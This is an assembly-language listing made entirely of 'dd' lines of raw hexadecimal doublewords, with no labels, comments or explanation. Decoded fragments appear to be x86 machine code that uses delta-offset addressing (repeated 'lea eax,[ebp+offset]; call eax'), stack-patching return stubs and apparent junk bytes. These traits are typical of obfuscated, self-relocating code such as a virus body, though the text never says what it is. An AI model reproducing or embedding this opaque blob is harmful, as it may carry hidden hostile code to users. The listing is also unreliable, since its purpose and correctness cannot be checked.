		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 3FBC353h
		dd 33920B34h, 0C6885CD3h, 1311E185h, 0E8B14606h, 0DE061468h
		dd 57006ABAh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 6259A6C1h, 11952BDBh, 0FF061328h, 13116DB5h
		dd 858DFC06h, 6133AADh,	850FD0FFh, 6, 0B4DBD29h, 85890613h
		dd 6131CF9h, 0E1E38160h, 0E97D320Fh, 9,	0FFDFD97Bh, 0ED5DB1E9h
		dd 85C661D8h, 61311E1h,	49958947h, 68061301h, 8A0FB5E2h
		dd 0BA8EB760h, 6499A355h, 6DB5FF61h, 6A061311h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 873AC352h, 0C0D31788h, 858DFB8Bh, 6133AADh, 6AD0FFF8h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0A349C356h, 0BE9h, 37C39E00h, 0CF444D8h
		dd 413722DAh, 6800Fh, 9D890000h, 6131B99h, 8A19503h, 85890613h
		dd 6131315h, 398D3352h,	5F061332h, 11E185C6h, 6A470613h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 33FEC352h, 5F28CC7Fh, 0ED8D9FA6h,	0D0B5F368h
		dd 0E5958B83h, 0FF061309h, 13116DB5h, 68A0F06h,	8B000000h
		dd 13254995h, 0AD858D06h, 8106133Ah, 160068D7h,	89D0FF5Bh
		dd 131621BDh, 15858906h, 0F06131Bh, 85C6D7B7h, 61311E1h
		dd 19958B77h, 6606131Dh, 6885DDBFh, 0F397A8A3h,	2B21BD31h
		dd 0B5FF0613h, 61310D1h, 0A35958Bh, 858D0613h, 6133AADh
		dd 0BE9h, 0EFEB3600h, 5E8023BBh, 4709E2DEh, 1D7D8D29h
		dd 0D0FF0613h, 8962EA80h, 13118585h, 0E185C606h, 47061311h
		dd 16D8D0Bh, 0F88B0613h, 28FAF668h, 7D8D8B87h, 0FF061320h
		dd 13116DB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 8DA62361h, 133AAD85h, 0D7B70F06h
		dd 8589D0FFh, 61304C9h,	30718589h, 0B70F0613h, 199589CBh
		dd 0C6061332h, 1311E185h, 0FE94306h, 50000000h,	1452232Dh
		dd 0B0A3795h, 87BEEE18h, 0FC6850CCh, 89BC8E6Eh,	1310A98Dh
		dd 6DB5FF06h, 8B061311h, 1321618Dh, 0AD858D06h,	8906133Ah
		dd 131E5595h, 66D0FF06h, 0D009DA81h, 1B9D8589h,	0B9600613h
		dd 3AC48D9Ah, 61D2BF0Fh, 56FBA66h, 11E185C6h, 0E9450613h
		dd 12h,	1F48A7B6h, 41868D2Eh, 12D2D3E9h, 380BEA25h, 6968043Ah
		dd 808E7269h, 0B5FF61EDh, 613116Dh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 0BDC35646h,	9E1EBF40h, 858D13C2h
		dd 6133AADh, 180FB966h,	0E981D0FFh, 1CDE1532h, 1CBD8589h
		dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 96992BC3h, 8B32138Fh, 130E858Dh, 0E185C606h
		dd 44061311h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 14h,	29C35242h, 385CDA81h, 6468765Ah, 0FB8F2ECh, 0B5FFD3B7h
		dd 613116Dh, 26D2BF66h,	3AAD858Dh, 6A0613h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0FF8AD8C3h
		dd 5BD03D0h, 89061313h,	130C5185h, 927EBF06h, 85C63461h
		dd 61311E1h, 53006A43h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 282323CCh, 0F1ECF5Ch, 0A768FABFh
		dd 0E9C0764Ah, 7, 272C6AF5h, 66B7AC61h,	0FF92A0BAh, 13116DB5h
		dd 71950B06h, 8D061320h, 133AAD85h, 21B50106h, 0FF061300h
		dd 0E59589D0h, 89061321h, 13120985h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 83BCCFEAh
		dd 29638B34h, 60532FCBh, 0BD89C28Bh, 6130FDDh, 0BD805961h
		dd 615FEB3h, 0DD840F00h, 0E9000000h, 9,	58841389h, 90277518h
		dd 95858DC8h, 500615FEh, 6A016AF8h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0BC30C357h
		dd 78557F12h, 8B1CC9AFh, 1313C9BDh, 0F8006A06h,	0FFFC006Ah
		dd 13128995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 67F056A9h, 4880Fh, 0BF660000h, 8589B1B1h
		dd 61313A9h, 0FF6AD08Bh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 16C35141h, 891E8A63h,	0C46ADDC5h, 0A9B5FF28h
		dd 6A061313h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 6D0BC351h, 1CC88515h, 0D3C1BF66h
		dd 31AD95FFh, 95890613h, 6130B45h, 83F9C08Bh, 131625BDh
		dd 9750006h, 2C81BD83h,	74000613h, 8B535019h, 7D1B8C0h
		dd 85890000h, 6130D7Dh,	0A97D9D8Dh, 0D3FF0615h,	0BD83585Bh
		dd 6132C81h, 50177400h,	7D1B853h, 85890000h, 6130D7Dh
		dd 0A66C9D8Dh, 0D3FF0615h, 8589585Bh, 61323C1h,	8BFABF0Fh
		dd 0BE9C0h, 35320000h, 0D0FB17E0h, 7A8F87C7h, 0E185C698h
		dd 47061311h, 12E9h, 0B17CCD00h, 826CCF1Ah, 86CADA64h
		dd 10FE4800h, 8B526D36h, 1311718Dh, 0F7C16806h,	9E993C8h
		dd 13000000h, 8247F391h, 1BB3AC7Dh, 116DB5FFh, 6A0613h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 23B354C3h, 4349AFF8h, 0AD858DDBh, 0F06133Ah,	883h, 95095100h
		dd 6133219h, 6AD0FF5Fh,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 241DC357h, 0C25EDC97h
		dd 5A457ED5h, 0D6858D50h, 89061602h, 13309985h,	9400C706h
		dd 0F000000h, 77BAC9BFh, 5868FECBh, 0CA477BBFh,	0D6B58D2Dh
		dd 6A061602h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 5F34C355h, 382A06D2h, 9597E303h
		dd 14919D89h, 0E8560613h, 11h, 91703273h, 0A2121192h, 0DDA5DD8Eh
		dd 0A268488Ah, 38A0FBCh, 66000000h, 0FF5FF98Bh,	0DD8D0BD0h
		dd 0BA061314h, 5FD576D6h, 2D6858Dh, 89500616h, 131FD19Dh
		dd 78835906h, 850F0604h, 15h, 16B5958Bh
		dd 85C70613h, 616036Ah,	1, 0F1C78166h, 31BD83F3h, 6130Ah
		dd 38850Fh, 95890000h, 613306Dh, 36ABD83h, 0F000616h, 2585h
		dd 0BAC18100h, 8326852Eh, 131129BDh, 840F0006h,	12h, 0C7FABF0Fh
		dd 1307E585h, 6, 6EAEBA00h, 8C662D9Eh, 0F635B2DBh, 840F04C3h
		dd 4B1h, 899B529h, 85C70613h, 613173Dh,	0
		dd 9712D181h, 0BD80315Dh, 615FEC0h, 6850F00h, 89000000h
		dd 13157185h, 0E185C606h, 47061311h, 66CFB560h,	33CEC281h
		dd 5B866861h, 6AE3E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0A5F925C3h, 78B7871h, 6DB5FFC5h
		dd 8A061311h, 0AD858DD7h, 0F06133Ah, 287h, 0FFC1B500h
		dd 4D958BD0h, 6806130Ch, 104h, 13E9h, 567EF400h, 0A55A762Fh
		dd 0D05BC954h, 15666A67h, 0E6ECE940h, 178D9D8Dh, 9D310613h
		dd 6131631h, 38F0F53h, 0F000000h, 9D01D6BFh, 6133121h
		dd 6660D0FFh, 0A471D281h, 0FE9h, 0A9C33800h, 7C3F52A4h
		dd 9FBB0B8Bh, 30526748h, 8D858D61h, 0F061317h, 58Bh, 692AB900h
		dd 29502FCAh, 13063595h, 72858D06h, 6A0615FEh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0E898C355h, 9, 9C4530B7h, 0FE6D2A5Dh, 39952363h, 5906130Ah
		dd 68B0Fh, 8D0B0000h, 6132C49h,	0F5958950h, 6006131Ch
		dd 0EE9h, 65BE5C00h, 0A41C3797h, 6760CE67h, 89A5E7BAh
		dd 1330F185h, 858D6106h, 615F545h, 6A50D68Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 70B9C357h, 0AAAE259Eh, 995B00EFh, 66CE8B66h,	0FF5596B9h
		dd 13118595h, 8D89F906h, 61314EDh, 530CC483h, 0A399D89h
		dd 6A5F0613h, 806800h, 36A0000h, 6A006Ah, 68h, 45858D80h
		dd 500615F5h, 1B9D95FFh, 85890613h, 615FE55h, 11E185C6h
		dd 68470613h, 0C7B15E87h, 116DB5FFh, 858D0613h,	6133AADh
		dd 6AD0FFh, 0FE55B5FFh,	0D0FF0615h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 79C35646h, 1953162h, 9061310h
		dd 130C3185h, 37D03D06h, 830F0000h, 28h, 34F239B9h, 55B5FF79h
		dd 0F50615FEh, 120995FFh, 8D0B0613h, 6130C69h, 0B2E9h
		dd 419D8900h, 0BF06130Ah, 5A6BA66Ah, 0FE55B5FFh, 0D78B0615h
		dd 120995FFh, 30B50613h, 10E9006Ah, 12000000h, 4A6E2A64h
		dd 5DCBC704h, 0A25769CFh, 6A30E161h, 68A0F00h, 89000000h
		dd 130E298Dh, 8B006A06h, 0E9006AD7h, 0Ch, 4DE38159h, 0F030DC51h
		dd 24DB26B1h, 6A006Ah, 8DCFC580h, 15FE5985h, 458D8B06h
		dd 8B061330h, 130B6995h, 6A5006h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 468533C3h, 0C03821E2h
		dd 810FD38Bh, 6, 0D5A8EF81h, 95FF5CE3h,	6131B9Dh, 0FFFF883h
		dd 0E985h, 8DD18B00h, 15B91285h, 5952B06h, 0FF061313h
		dd 319D89D0h, 6A06130Dh, 5E900h, 3E0B0000h, 89D1B54Bh
		dd 1322B98Dh, 8A006A06h, 75B589D1h, 6A061311h, 463ABA00h
		dd 6A2FC5h, 6AC8B70Fh, 56006A00h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 2997871Fh, 6A8B97h, 10E9h
		dd 0FE0D8100h, 78E60903h, 0DC67D2A6h, 28BD378Eh, 59858D66h
		dd 290615FEh, 131EDDBDh, 8A505006h, 95FF59CAh, 6131B9Dh
		dd 6880Fh, 8D8B0000h, 61328DDh,	0FFFF883h, 4585h, 0D68B6600h
		dd 0F861B58Dh, 860F0615h, 5, 0F0CFE8B9h, 4D858D31h, 0F0615A3h
		dd 0D0FFCABFh, 7C58D89h, 6A0613h, 12D9958Bh, 0B5890613h
		dd 6131BA1h, 1CBD95FFh,	820F0613h, 6, 0B414E181h, 8589058Ah
		dd 615FE55h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	69C35545h, 8DF9006Ah, 15FE4D85h, 659D0906h, 5006130Ah
		dd 81F28052h, 0B9046A59h, 17DA9148h, 29C5858Dh,	0E3B50613h
		dd 56006A50h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 69F25C7Dh, 80163E5Ch, 79BD318Bh,	6A061319h
		dd 1026BA00h, 6A21A1h, 6A77E580h, 53006A01h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0FC9DBE44h
		dd 0C271AF50h, 55B5FF5Eh, 0B10615FEh, 5195FF86h, 6A06130Ch
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 15EDC355h, 535D8705h, 71E9F8B1h, 8900001Bh
		dd 132EBD95h, 66C08B06h, 838CBDB9h, 131625BDh, 9750006h
		dd 2C81BD83h, 74000613h, 8B535019h, 7D2B8C0h, 85890000h
		dd 6130D7Dh, 0A97D9D8Dh, 0D3FF0615h, 0BD83585Bh, 6132C81h
		dd 50177400h, 7D2B853h,	85890000h, 6130D7Dh, 0A66C9D8Dh
		dd 0D3FF0615h, 8060585Bh, 0D78B85E9h, 0FC08B61h, 382h
		dd 0D38B6600h, 173D85C7h, 10613h, 85090000h, 61330A1h
		dd 0E4E7B868h, 0C9B5FFCEh, 8D061307h, 133AAD85h, 89D0FF06h
		dd 1312FD85h, 0B1858D06h, 50061600h, 36E858Dh, 68500616h
		dd 80000001h, 12FD95FFh, 0C00B0613h, 85C70A75h,	6130F0Dh
		dd 1, 5DBD468h,	0C9B5FFC0h, 8D061307h, 133AAD85h, 89D0FF06h
		dd 13119185h, 0FE858D06h, 500615F2h, 116DB5FFh,	95FF0613h
		dd 6131315h, 0B74C00Bh,	858DD88Bh, 61602B1h, 8DD3FF50h
		dd 1602B185h, 38836606h, 0C70A7509h, 13150585h,	106h, 7195FF00h
		dd 25061330h, 0FFh, 7305F883h, 2D85C70Ah, 1061321h, 0B6000000h
		dd 0D9958B61h, 8006130Ah, 15FEC0BDh, 840F0006h,	16h, 2860Fh
		dd 0D38A0000h, 36ABD83h, 0F000616h, 0C84h, 1DE9F800h, 8B00001Ah
		dd 131749BDh, 5BD8306h,	61315h,	9B850Fh, 8D8B0000h, 6130031h
		dd 0FE8A858Dh, 0B9660615h, 0B9500669h, 63400F16h, 0BD8B016Ah
		dd 6132F9Dh, 6A5FF852h,	0DE900h, 15B20000h, 7294FFF4h
		dd 0C2063A82h, 6ADE17EDh, 0C7816600h, 0B589E9E3h, 61315E1h
		dd 128995FFh, 0B5010613h, 6132509h, 0FEB48589h,	6A0615h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0E2E4EC3h, 559D3360h, 5306131Dh, 615A5A57h, 0B70FFF6Ah
		dd 0B4B5FFCAh, 0B20615FEh, 0AD95FFD2h, 60061331h, 1EE1B589h
		dd 1CB70613h, 0C5858D61h, 570615F2h, 11E9h, 6190B600h
		dd 43F29EC7h, 7E27A3FAh, 2E300A7h, 505A4333h, 62D28166h
		dd 0ED95FF84h, 29061311h, 1319C99Dh, 81858906h,	8906132Fh
		dd 15F34F85h, 0D7B70F06h, 7E9h,	9700DB00h, 45316028h, 0F2D2858Dh
		dd 0CA800615h, 0E18D01B4h, 50061316h, 0A1BD8960h, 0E9061309h
		dd 0Ah,	3146D29Fh, 0C5539173h, 0FF61C88Fh, 15F34FB5h, 0F5952306h
		dd 8B061330h, 131B8D95h, 1595FF06h, 0E8061313h,	5, 69A561BEh
		dd 8195010Dh, 5F061329h, 1B98589h, 0BD890613h, 6130A0Dh
		dd 0F340858Dh, 6A0615h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 6DF99DC3h, 0D78B66CBh, 0FB8B6650h
		dd 0F34FB5FFh, 6A0615h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0DCCDEDC3h, 817EF96Ch, 11499D89h
		dd 95890613h, 6130B19h,	4CD8D29h, 95FF0613h, 6131315h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0E5C35040h
		dd 0E774666Bh, 746AAD0Fh, 85BF668Bh, 0E7D181D7h, 566B29FAh
		dd 18A98D31h, 895F0613h, 15F36385h, 858DFC06h, 615F31Fh
		dd 0BAF9DF81h, 12B52DCDh, 55006A50h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 664C57C3h, 0A950C781h, 0F34FB5FFh, 6A0615h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 4E9F11C3h, 0FF42D399h, 13131595h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 1B8E6C9h, 122D1902h
		dd 858994A6h, 615F35Bh,	3169BD09h, 858D0613h, 615F312h
		dd 1398D29h, 80500613h,	0B5FF9AD5h, 615F34Fh, 0AE9h, 96783600h
		dd 0A1A2A58h, 0FF94A210h, 13131595h, 0AFD98006h, 0F35F8589h
		dd 95290615h, 6131259h,	0F32D858Dh, 0CE90615h, 2000000h
		dd 0BC0A9E0Fh, 0A5F6020Ch, 50F3D1F8h, 14E9h, 4B6F9200h
		dd 0E210CA74h, 0AF41D4BBh, 0BA9FDD58h, 1110EFh,	4FB5FF2Dh
		dd 660615F3h, 2AB9F281h, 1595FFFCh, 66061313h, 898BE1BAh
		dd 13013D85h, 9E806h, 79040000h, 97029FF5h, 894CF93Ah
		dd 1331D98Dh, 66605A06h, 6012C181h, 34C19D01h, 8D610613h
		dd 15F2E185h, 0D1958B06h, 50061325h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 9DC35646h, 0F98C3707h, 0EE2D55Eh
		dd 39D1812Fh, 0FF3BF3F4h, 15F34FB5h, 95FFFC06h,	6131315h
		dd 8589CB8Bh, 615F353h,	1EE78166h, 0F0858DE4h, 0E80615F2h
		dd 12h,	0EFEC40F2h, 96A35B72h, 0A0CAA421h, 0AB4E81AAh
		dd 52533ABEh, 505F5F5Fh, 12F98D8Bh, 0B5FF0613h,	615F34Fh
		dd 13E9h, 0CFDEF500h, 7ACE21E0h, 9DA59DD1h, 0CE3BAB11h
		dd 7B4D3DECh, 131595FFh, 0BF0F0613h, 578589CBh,	810615F3h
		dd 0DA569BD1h, 1046831h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0E4DF58C3h, 8B163113h
		dd 1323A18Dh, 0E7858D06h, 8B0615F3h, 13172DBDh,	198D0106h
		dd 50061311h, 858DD78Bh, 615F4EBh, 1518529h, 0F8500613h
		dd 1B1595FFh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 5B5768C3h, 28C75B16h, 50989770h
		dd 12E960h, 51350000h, 9496BC94h, 0F64BD5Bh, 0EEF72340h
		dd 82819643h, 5A616160h, 850FC085h, 28h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 17h, 0FC35141h, 8BE76349h
		dd 132161BDh, 0D2BF0F06h, 0FEC0BD80h, 0F000615h, 1D85h
		dd 29958B00h, 0E9061319h, 1558h, 0D18D8B56h, 59061311h
		dd 5E9h, 951B0300h, 0BD837FF4h,	6131505h, 6C850F00h, 0E9000000h
		dd 13h,	0D8849313h, 0D9AD8CCBh,	903F96C9h, 0D9A02F70h
		dd 839AFDC6h, 16036ABDh, 840F0006h, 87h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 14h, 83C35646h, 0AE8h
		dd 0CEBD1500h, 9E9E7BEh, 0E890DE5Ch, 0Ah, 0FE07DEBDh, 6A7AF155h
		dd 800F009Bh, 0
		dd 50B95F5Fh, 8D0220DBh, 15F38485h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0A30C0B7Eh
		dd 1D2F6391h, 0E1EA8166h, 149AE944h, 8D290000h,	61301E5h
		dd 15E9h, 8D7FB100h, 15F36F85h,	58B0F06h, 0B9000000h, 28DCD68h
		dd 6A509EB6h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 7FD3C353h, 8DBA35ACh, 15F3E785h
		dd 0B5896006h, 6131F75h, 8C0Fh,	50610000h, 0D2E78166h
		dd 5BD83F0h, 61315h, 41840Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 15296C3h
		dd 132B3585h, 858D5906h, 615F50Dh, 1DADBD8Bh, 958B0613h
		dd 6132201h, 17E9h, 0BD9D8900h,	8D06132Eh, 15F4F685h, 5890F06h
		dd 66000000h, 167DD781h, 0E9EC8A50h, 0Dh, 31CC96C4h, 0FFFCB219h
		dd 847D6A2Ch, 45858D12h, 500615F5h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 85C35545h, 9CEA78Ch, 130A598Dh
		dd 8595FF06h, 6A061311h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 21ABC357h, 3BA9C27h
		dd 8307AD29h, 8F0F10C4h, 6, 25DD9589h, 0C08B0613h, 0B35BD8Bh
		dd 0BD830613h, 6131625h, 83097500h, 132C81BDh, 19740006h
		dd 0C08B5350h, 7D3B8h, 7D858900h, 8D06130Dh, 15A97D9Dh
		dd 5BD3FF06h, 81BD8358h, 6132Ch, 53501774h, 7D3B8h, 7D858900h
		dd 8D06130Dh, 15A66C9Dh, 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 77EA9987h
		dd 25E4D9DEh, 0BD29EECCh, 6131A99h, 0EE8h, 4C049900h, 0D2E2F1EDh
		dd 50777C2Bh, 0FEE4810h, 580h, 0E141BA00h, 8B5952C7h, 52006AC0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 1E7549A9h, 274B6002h, 6FBD8116h, 6F0615F3h, 0F616572h
		dd 0A684h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 403BD501h, 0BC2E981h, 858D682Fh
		dd 615F3E7h, 24858D50h,	500615F5h, 0F545858Dh, 0FF500615h
		dd 13118595h, 0CC48306h, 11E185C6h, 68440613h, 96A3184Fh
		dd 116DB5FFh, 858D0613h, 6133AADh, 0D88BD0FFh, 0F545858Dh
		dd 0FF500615h, 6F858DD3h, 500615F3h, 0F3E7858Dh, 83500615h
		dd 131505BDh, 8740006h,	0F50D858Dh, 6EB0615h, 0F4F6858Dh
		dd 8D500615h, 15F54585h, 95FF5006h, 6131185h, 8A10C483h
		dd 0C5BD89CCh, 0FF061320h, 13307195h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 558F0858h, 0E1714CC8h, 0FF25F820h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 61E2C351h, 5F883A1h,	64830Fh, 11E80000h, 86000000h
		dd 0E0235BF2h, 0FE8D1635h, 37B9FE83h, 0E2AD377Eh, 0A5E28166h
		dd 85C75F39h, 613212Dh,	1, 13E9h, 3D36E000h, 0CCBE655Fh
		dd 0BAB54AD9h, 5EA2C24Dh, 9ADFC48h, 0F3A3858Dh,	0C9800615h
		dd 74E9F525h, 0E8000000h, 0Bh, 0E75F6FE6h, 3D706EF0h, 89372EA9h
		dd 1316BD85h, 0BD835A06h, 6131505h, 28840F00h, 60000000h
		dd 1F4D958Bh, 0F2810613h, 6D672087h, 9AEABF61h,	858D4324h
		dd 615F3CEh, 0F4D3B966h, 2EE9h,	0D8D8B00h, 8D061315h, 15F3B085h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 518D8B2Fh, 8906132Ah, 15F3E385h,	0FFB8B06h
		dd 280h, 83EEB500h, 131505BDh, 850F0006h, 1Fh, 1FB5958Bh
		dd 0D2810613h, 1D07B092h, 36ABD83h, 0F000616h, 1684h, 0A5BD2300h
		dd 0E9061310h, 1094h, 6DC068BFh, 6D9D8913h, 0E9061321h
		dd 493h, 8BC88B66h, 50006AC0h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0DF2D146Ah, 45BF53E3h
		dd 95895781h, 6130B05h,	1625BD83h, 75000613h, 81BD8309h
		dd 6132Ch, 53501974h, 0D4B8C08Bh, 89000007h, 130D7D85h
		dd 7D9D8D06h, 0FF0615A9h, 83585BD3h, 132C81BDh,	17740006h
		dd 0D4B85350h, 89000007h, 130D7D85h, 6C9D8D06h,	0FF0615A6h
		dd 66585BD3h, 0B9F006BFh, 5CE31E5Dh, 6AC08Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0A40981C3h
		dd 4E856B32h, 895F4867h, 1301FDB5h, 0E9816606h,	3F686973h
		dd 80000F00h, 6A0DD5h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 9AC35646h, 0CB4AEF94h, 28D0F96h, 0B1000000h
		dd 3006A8Dh, 1323218Dh,	0B995FF06h, 8B061301h, 13195995h
		dd 0FC08506h, 85h, 67858900h, 0E80615F3h, 7, 7FB625F6h
		dd 51FD6769h, 6A595FF5h, 47D78100h, 6A054D97h, 0DDBD8900h
		dd 6A061304h, 6AF500h, 1331BD8Bh, 6A0613h, 0AE9h, 234A3700h
		dd 91BC8581h, 8DD0E5C6h, 15F54585h, 0E18D8B06h,	50061316h
		dd 68A0Fh, 0BD8B0000h, 6130709h, 0BD0B016Ah, 6131E55h
		dd 6A016Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 877C5BC3h, 5E82Ah, 5EC40000h, 8931D8BAh
		dd 13128D9Dh, 16A5F06h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 3DC35242h, 0F01FF68h,	56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 0D56E0F52h, 19F28072h, 1B99BD8Bh, 0BD830613h, 6131505h
		dd 25840F00h, 0F9000000h, 0F3C4858Dh, 0EE90615h, 40000000h
		dd 0B4E9F88Dh, 5BF51D38h, 2F2A877Ch, 0EE9FAh, 958B0000h
		dd 6132989h, 0F39A858Dh, 5A570615h, 0A59D8950h,	5006132Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0BCC35141h
		dd 891121EDh, 1317118Dh, 11858906h, 0FF061314h,	15F367B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0B96655A1h, 95FF76CBh, 615F353h,	9D8B60FCh
		dd 6130A35h, 22ADB58Bh,	85610613h, 0B850FC0h, 66000000h
		dd 56E9CB8Bh, 0F000000h, 8589C9B7h, 615F36Bh, 0B5FFEA8Ah
		dd 615F36Bh, 8E9h, 0E72E9900h, 79EC8A99h, 3D95FFCDh, 66061301h
		dd 850F4DBFh, 26850FC0h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 33A4C352h
		dd 89D73A3Dh, 132A3D9Dh, 8B106A06h, 130B1D8Dh, 0FE96006h
		dd 61000000h, 7C5033E9h, 0C816B62Ah, 51EDAC77h,	0B58B04FCh
		dd 6130021h, 5BD8361h, 61315h, 4B840Fh,	6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0D735A3C3h, 59C5CDACh, 0BA6046C7h, 637EBBC5h, 61F1B70Fh
		dd 63CF8166h, 0C4858D81h, 560615F3h, 24919D29h,	0E9590613h
		dd 0Dh,	0E5EF8166h, 9A858DADh, 0B10615F3h, 8D8B5010h, 613193Dh
		dd 0F367B5FFh, 0B5010615h, 61324F9h, 0F35F95FFh, 6A0615h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 921E05C3h
		dd 8B6667A8h, 0FC085D0h, 2285h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 25CF8101h
		dd 890EF251h, 15F36B85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 302C6DC0h, 0DDB38E20h
		dd 6660006Ah, 6A61C28Bh, 0FFDBB500h, 15F36BB5h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0C8563153h, 16564737h, 20F59509h, 95FF0613h,	615F357h
		dd 0C085CB8Ah, 6850Fh, 0F1810000h, 5B21ED4h, 0F36BB5FFh
		dd 850F0615h, 16h, 10800Fh, 0BE90000h, 4F000000h, 6F7B428Ah
		dd 785CE3DAh, 95FF814Ch, 613013Dh, 0C3BF66F9h, 0FC0850Bh
		dd 685h, 19852900h, 6A061312h, 57006A00h, 3E8h,	0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0E9D725D1h
		dd 0Dh,	0D0B01AF8h, 0CC6ED4A2h,	8DD8E669h, 0EEBF6600h
		dd 8068B6h, 958B0000h, 61330B5h, 8D29036Ah, 6132841h, 8B66006Ah
		dd 0E8006ACFh, 9, 50146F55h, 9B735357h,	0FB8B66ABh, 685Fh
		dd 6AC000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0B5FF19C3h, 615F3E3h, 1B9D95FFh, 0BD890613h
		dd 6131091h, 0FFFF883h,	4D685h,	10E900h, 13870000h, 0AAE45CAh
		dd 35B5472Ch, 3E269AC9h, 85FF29B8h, 615FE51h, 83FE8B66h
		dd 15FE51BDh, 840F0206h, 390h, 243B858Dh, 8166005Bh, 0FF467CDAh
